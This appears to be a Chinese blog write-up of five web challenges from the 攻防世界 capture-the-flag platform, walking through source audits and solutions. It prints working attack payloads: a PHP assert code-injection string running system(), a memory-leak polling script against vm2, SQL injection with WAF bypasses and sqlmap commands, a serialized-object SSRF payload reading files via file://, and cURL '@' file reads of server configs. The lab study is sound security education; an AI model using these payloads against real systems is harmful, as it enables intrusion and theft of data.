攻防世界Web高手进阶区(三)

mfw

看About页面,怀疑git源码泄露,用dirsearch扫一下

About

I wrote this website all by myself in under a week!

I used:

  • Git
  • PHP
  • Bootstrap

再用git_extract得git源码,审计源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

require_once $file;

?>

通过get一个page变量,进行变量拼接后传递给file,做一次assert异常检查,最后文件包含

一开始我是想构造file变量进行文件包含,但是由于是拼起来的,文件包含也没啥用,只能从其他地方入手

看wp是 assert 函数的利用

assert()函数会将括号中的字符当成代码来执行

构造以下payload

page=bluearc') or system("cat templates/flag.php");//

这样变量为

$file = "templates/bluearc') or system("cat templates/flag.php");//.php"

替换

assert("strpos('template/bluearc') or system('cat ./template/flag.php');//.php, '..') === false")

实际运行

strpos('template/bluearc') or system('cat ./template/flag.php');

由于strpos函数报错,因此运行我们构造的语句or后面的语句


web2

源码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
$_o=strrev($str);
// echo $_o;

for($_0=0;$_0<strlen($_o);$_0++){

$_c=substr($_o,$_0,1);
$__=ord($_c)+1;
$_c=chr($__);
$_=$_.$_c;
}
return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag
*/
?>

根据代码逻辑写出解密函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$enc="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function decode($str){
$s = base64_decode(strrev(str_rot13($str)));
$b = "";
for($i=strlen($s)-1;$i>=0;$i--){
$c = substr($s,$i,1);
$c = chr(ord($c)-1);
$b = $b.$c;
}
echo $b;
}
decode($enc);
?>

其中包含str_rot13编码函数,strrev反向函数,chr与ord函数的理解


leaking

node.js服务端代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
"use strict";

var randomstring = require("randomstring");
var express = require("express");
var {
VM
} = require("vm2");
var fs = require("fs");

var app = express();
var flag = require("./config.js").flag

app.get("/", function(req, res) {
res.header("Content-Type", "text/plain");

/* Orange is so kind so he put the flag here. But if you can guess correctly :P */
eval("var flag_" + randomstring.generate(64) + " = \"flag{" + flag + "}\";")
if (req.query.data && req.query.data.length <= 12) {
var vm = new VM({
timeout: 1000
});
console.log(req.query.data);
res.send("eval ->" + vm.run(req.query.data));
} else {
res.send(fs.readFileSync(__filename).toString());
}
});

app.listen(3000, function() {
console.log("listening on port 3000!");
});

通过获取req.query.data来执行vm.run函数

其中vm为虚拟沙箱环境来执行不可信的用户代码,应该是vm2的沙箱逃逸

vm是nodejs实现的一个沙箱环境,但是官方文档并不推荐使用vm来运行不可信任的代码,vm2则是一个npm包,在vm的基础上,通过es6新增的代理机制,来拦截对外部属性的访问。

没做过沙箱逃逸的相关题目,直接在网上找wp吧

这里涉及到的是nodejs的远古内存分配问题,nodejs在远古版本(Node.js v5.4.1/v4.2.4)中的Buffer分配是就着以前用过的内存分配的,并且分配完了还不会初始化一下,也就意味着之前加载进内存然后被回收掉的内存位置可能被再次分配出来,并且还不会被初始化,原始数据还保留在那。这位外国老哥在这里分析了原理

怪不得题目叫leaking泄露,而不是逃逸escape 😆,内存泄漏在pwn里面比较多见,因为有 eval(flag) 执行,内存里面有相关信息

注:关于 Buffer
JavaScript 语言自身只有字符串数据类型,没有二进制数据类型。
但在处理像TCP流文件流时,必须使用到二进制数据。因此在 Node.js中,定义了一个 Buffer 类,该类用来创建一个专门存放二进制数据的缓存区。

exp:

1
2
3
4
5
6
7
8
from session import requests

session = Session()
while True:
res = session.get('http://111.200.241.244:64733/?data=Buffer(9999)')
if "flag{" in res.text:
print(res.text)
break

总结

  • 在较早一点的 node 版本中 (8.0 之前),当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer,并且这个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存。

fakebook

MySql load_file读取文件

注册一个账号,填写信息后点击查询

发现可疑的view.php?no=1 ,怀疑有sql注入,尝试了下payload,发现 ?no=1 and 1=1正常回显 ?no=1 and 1=2报错

再试payload order by 4时正常回显,若为5就报错,表明查询的该表有4列

在用报错回显时能将查询的数据展示出来,payload:no=-1 union select 1,2,3,4#,但这提示no hack ,被waf过滤掉,试了下union select被过滤,有以下几种绕过方式

大小写绕过,双写绕过,/**/代替空格绕过, ++代替空格绕过,union all select 绕过

username字段回显,将2替换为database()

可以用mysql的函数 loadfile 读取文件,前提是知道flag的绝对路径的位置,这里dirsearch扫一下

再结合报错信息,得到flag的绝对路径 /var/www/html/flag.php

反序列化 + ssrf

用sqlmap爆数据库

1
python sqlmap.py -u http://111.200.241.244:58322/view.php?no=1 --dump

这里爆出该表有4字段,但是后面又失败了,结合前面的信息,空格被过滤掉,这里使用temper脚本

1
python sqlmap.py -u http://111.200.241.244:58322/view.php?no=1 --dump --tamper=space2comment

还是不行,不知道为什么将空格替换为/**/也会失败,只能从注册的post数据入手

1
python sqlmap.py -r "1.txt" --dump

其中data字段为UserInfo类的序列化后的数据,根据扫出来的源码对应

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

当我们select 1,2,3,4时,代表的就是no,username,passwd,data,展现出来的值就是从data 反序列化后出来的。如果我们输入的值有误,那么反序列化失败,自然也就报出这样的错误,测试一下反序列化成功后的结果

正常逻辑下,data传入的也是序列化对象,显示的是对应URL的iframe窗口,说明view的后台函数调用了User类,获取4号位数据,执行了反序列化,触发了curl。因此我们传入伪造了资源位置的URL,使之回显,那么curl的便是指定的资源。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

这里就可以使用ssrf,服务端请求伪造漏洞,请求在服务器上的flag.php文件:构造序列化后的数据使用 file 协议访问文件

1
-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

base64解密

1
2
3
4
<?php

$flag = "flag{c1e552fdf77049fabf65168f22f7aeab}";
exit(0);

总结

  • 注重信息收集
  • sql注入时的流程,尤其是报错注入时的报错信息,泄露出路径等信息
  • 用order by确定字段个数,利用select 1,2,3,4确定回显位置
  • load_file()函数读取文件
  • file协议的利用

Cat

submit一个域名,试了试一个域名,过了会没有回显,看到 ?url= 想到文件包含,试试php伪协议,但没有源码不知道是怎么过滤的,过滤掉了 : ,不太会看wp,原来要输入ip,(域名不会解析太坑了),那么就是命令注入了,绕掉waf

试了下 127.0.0.1 | whoami,空格被过滤,再试试IFS{IFS}替换空格,`也被过滤掉,然后发现|,&,;`都被过滤掉了(玩锤子)

没办法,只能看大佬的wp,发现很有意思的知识点

发现命令注入不行,然后进行FUZZ测试,然后发现了我们输入字符编码,不会报错,但是%80会出错,于是我们看到了django的报错信息,我们知道了gbk的编码方式,也发现了接口与请求方式。

1
2
3
4
5
6
7
8
9
10
11
12
13
<tr>
<th>Request Method:</th>
<td>POST</td>
</tr>
<tr>
<th>Request URL:</th>
<td>http://127.0.0.1:8000/api/ping</td>
</tr>

<tr>
<th>Django Version:</th>
<td>1.10.4</td>
</tr>

通过php接收用户url数据,再用curl请求到本地部署的django框架中,至于为什么会有报错信息,因为django后端使用的gbk编码,超过编码范围的内容会引起报错(%80),而且开启debug模式

这里php版本支持cURL组件的@模式上传文件,上面获取绝对路径 /opt/api 读取django配置文件**settings.py**

1
?url=@/opt/api/api/settings.py

数据库为sqlite3,再读取sqlite数据库获取flag

1
?url=@/opt/api/database.sqlite3

总结

这题关键就是进行FUZZ,虽然出的很扯,但是思路很清晰,利用编码错误的报错信息回显和php的cURL组件进行文件读取


攻防世界Web高手进阶区(三)
https://blue-arc.github.io/2022/06/23/AdWorld-3/
作者
冰蓝弧影
发布于
2022年6月23日
许可协议